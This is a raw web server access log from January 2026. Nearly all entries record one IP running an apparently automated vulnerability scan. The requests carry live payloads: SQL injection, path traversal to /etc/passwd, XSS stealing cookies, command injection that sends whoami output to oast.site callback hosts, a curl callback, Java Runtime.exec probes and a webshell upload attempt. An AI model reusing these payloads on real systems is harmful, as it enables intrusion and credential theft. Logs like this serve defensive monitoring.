[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ccms/dashboard.php HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /git/notifyCommit?url=380CyA447b0oUxCvxaKVpjRsB9R&branches=380CyA447b0oUxCvxaKVpjRsB9R HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/getmac?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.zul HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /xmlrpc HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /network_test.php HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /authenticationendpoint/380cy6spnrq51l5pbmwbwbchlxk.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /fw.login.php HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webapi/auth HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /onlinePreview?url=aHR0cHM6Ly93d3cuZ29vZ2xlLjxpbWcgc3JjPTEgb25lcnJvcj1hbGVydChkb2N1bWVudC5kb21haW4pPj1QUQ== HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php?action=iws_gff_fetch_states HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "DELETE /actuator/gateway/routes/380CxiNb8Gg5BnBjN0s7EyPILJO HTTP/1.1" 223
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi/get_param.cgi?xml&sys.passwd&sys.su.name HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dfsms/add-category.php HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /navpage.do HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /booking.php?car_id=-1%20union%20select%201,md5(999999999),3,4,5,6,7,8,9,10--+ HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /task/loginValidation.php HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=admin_init&log_filename=../../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /perfsonar-graphs/cgi-bin/graphData.cgi?action=ma_data&url=http://oast.fun/esmond/perfsonar/archive/../../../&src=8.8.8.8&dest=8.8.4.4 HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax/openvpn/del_ovpncfg.php HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/moduleInformation HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/ao_ccss/queuelog.html HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/downloadMainLog?fname=../../../../../../..//etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modifica_cliente.php?tipo_tabella=%22><script>javascript:alert(%27XSS%27)</script>&idclienti=1 HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/ExportLogs.sh HTTP/1.1" 199
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /controller/ping.php HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/crm-perks-forms/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /templates/default/html/windows/right.php HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/ HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /configWizard/keyUpload.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wnm/login/login.json HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?lvl=author_see&id=42691%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?wmcAction=wmcTrack&url=test&uid=0&pid=0&visitorId=1331'+and+sleep(7)+or+' HTTP/1.1" 3426
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=mcwp_table&mcwp_id=1&order[0][column]=0&columns[0][name]=name+AND+(SELECT+1+FROM+(SELECT(SLEEP(7)))aaaa)--+- HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /js/jquery_file_upload/server/php/ HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/v2/open/rowsInfo HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pfblockerng/www/index.php HTTP/1.1" 226
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/manage_booking.php?id=-1%20union%20select%201,2,3,4,5,6,md5(999999999),8,9,10,11--+ HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /hms/admin/ HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /hms/user-login.php HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/usc-e-shop/functions/progress-check.php?progressfile=../../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php?action=joomsport_md_load HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/user/ HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=inpost_gallery_get_gallery&popup_shortcode_key=inpost_fancy&popup_shortcode_attributes=eyJwYWdlcGF0aCI6ICJmaWxlOi8vL2V0Yy9wYXNzd2QifQ== HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?doAs=`echo+CVE-2022-33891+%7C+rev` HTTP/1.1" 3426
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380Cxj7UZ9fib0EKk4c6WJzAlgk.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1 HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=upg_datatable&field=field:exec:head+-1+/etc/passwd:NULL:NULL HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v2/cmdb/system/admin HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backupsettings.dat HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ProcessWait.aspx?POBatch=test&WaitDuration=</script><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /v1/agent/check/deregister/380Cy6l7QpJ4Y1iQ1XrndUDXBFN HTTP/1.1" 220
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kfm/index.php/%27%3Cscript%3Ealert%28document.domain%29;%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /set_safety.shtml?r=52300 HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?q=user/login HTTP/1.1" 3426
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&sortDirection=desc&indexFile=1&isPopup=0 HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?q=user/login HTTP/1.1" 3426
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/subscriber HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //interactsh.com%2f.. HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /scripts/wa.exe?TICKET=test&c=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sysinit.shtml?r=52300 HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/view_car.php?id=-1%20union%20select%201,md5(999999999),3,4,5,6,7,8,9,10--+ HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/login.cgi HTTP/1.1" 199
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/?page=reports&date=2022-05-24-6'+AND+(SELECT+7774+FROM+(SELECT(SLEEP(10)))dPPt)+AND+'rogN'='rogN HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /plugins/servlet/groupexportforjira/admin/json HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /servlets/OmaDsServlet HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /i3geo/pacotes/linkedinoauth/example/request_token.php?=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/ueditor/php/controller.php?action=proxy&remote=php://filter/convert.base64-encode/resource=/etc/passwd&maxwidth=-1&referer=test HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search?query=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?msg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logout_redirect.do?sysparm_url=//j%5c%5cjavascript%3aalert(document.domain) HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /delsnap.pl?name=|id HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?class.module.classLoader.resources.context.configFile=https://d5g6sfahausljekepl20damn8qedes1pf.oast.site&class.module.classLoader.resources.context.configFile.content.aaa=xxx HTTP/1.1" 3426
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mod/lti/auth.php HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /goform/downloadSyslog/syslog.log HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=desc&indexFile=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&isPopup=0 HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /modules/appagebuilder/apajax.php?rand=1714403788400 HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /elfinder/elfinder-cke.html HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /components/statestore HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?q=user/login HTTP/1.1" 3426
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /pages/templates2/viewpagetemplate.action HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /picturesPreview?urls=aHR0cDovLzEyNy4wLjAuMS8xLnR4dCI%2BPHN2Zy9vbmxvYWQ9YWxlcnQoZG9jdW1lbnQuZG9tYWluKT4%3D HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.php HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/api/latest/repos HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/usc-e-shop/functions/content-log.php?logfile=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22nslookup%20d5g6sfahausljekepl20qc4xcdbnfmjie.oast.site%22%29%7D/ HTTP/1.1" 199
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /i3geo/pacotes/linkedinoauth/example/access_token.php?=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%5cexample.com HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/manage_user.php?id=-1%20union%20select%201,md5(999999999),3,4,5--+ HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ajax.php?f=getPipelineJobOrder&joborderID=50&page=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=desc&indexFile=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&isPopup=0 HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&indexFile=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&isPopup=0 HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/index.php?page=home HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/getparam?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.asp HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=loginas_return_admin HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search/?q=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OA_HTML/ibeCRgpIndividualUser.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php?action=cfom_upload_file&name=380Cy3igGWv05upmq36beNSZeQb.pHp HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /getCorsFile?urlPath=aHR0cHM6Ly9vYXN0Lm1l HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=cdaily&subaction=cd_calendar&id=XX\"><script>alert(document.cookie)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wpb-show-core/modules/jplayer_new/jplayer_twitter_ver_1.php?audioPlayerOption=1&fileList[0][title]=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /home/get_products?search=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php?action=get_tag_fonts HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login/index.php?login=$(ping${IFS}-nc${IFS}2${IFS}`whoami`.d5g6sfahausljekepl208yx69nqmrc4t4.oast.site) HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/pdf-generator-for-wp/package/lib/dompdf/vendor/dompdf/dompdf/I18N/Arabic/Examples/Query.php?keyword=\"><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /blog/wp-content/uploads/ao_ccss/queuelog.html HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pentaho/api/ldap/config/ldapTreeNodeChildren/require.js?url=%23{T(java.net.InetAddress).getByName('d5g6sfahausljekepl20qjj9zqfcgjr3j.oast.site')}&mgrDn=a&pwd=a HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-login.php?action=register&redirect_to=x%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=sac_post_type_call&post_type=</option><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/popen.cgi?command=cat%20/etc/passwd&v=0.1303033443137912 HTTP/1.1" 199
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/downloadMainLog?fname=../../../../../../..///config/MPXnode/www/appConfig/userDB.json HTTP/1.1" 196
[09/Jan/2026:10:51:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927374291 HTTP/1.1" -
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/download-monitor/v1/user_data HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/login/index.php HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dati/availability_tpl.php?num_app_tipo_richiesti1=%22><script>javascript:alert(%27XSS%27)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/login/index.php HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/ExportLogs.sh HTTP/1.1" 199
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /remote_agent.php?action=polldata&local_data_ids[0]=1&host_id=1&poller_id=;curl%20d5g6sfahausljekepl209zq4thhpqi7bb.oast.site%20-H%20'User-Agent%3a%20exOCjL'; HTTP/1.1" 226
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/crm-perks-forms/templates/sample_file.php?FirstName=<img%20src%20onerror=alert(document.domain)>&LastName=<img%20src%20onerror=alert(document.domain)>&%20Company=<img%20src%20onerror=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ExportReportingManager.aspx HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:51:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /solr/solrdefault/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd HTTP/1.1" 196
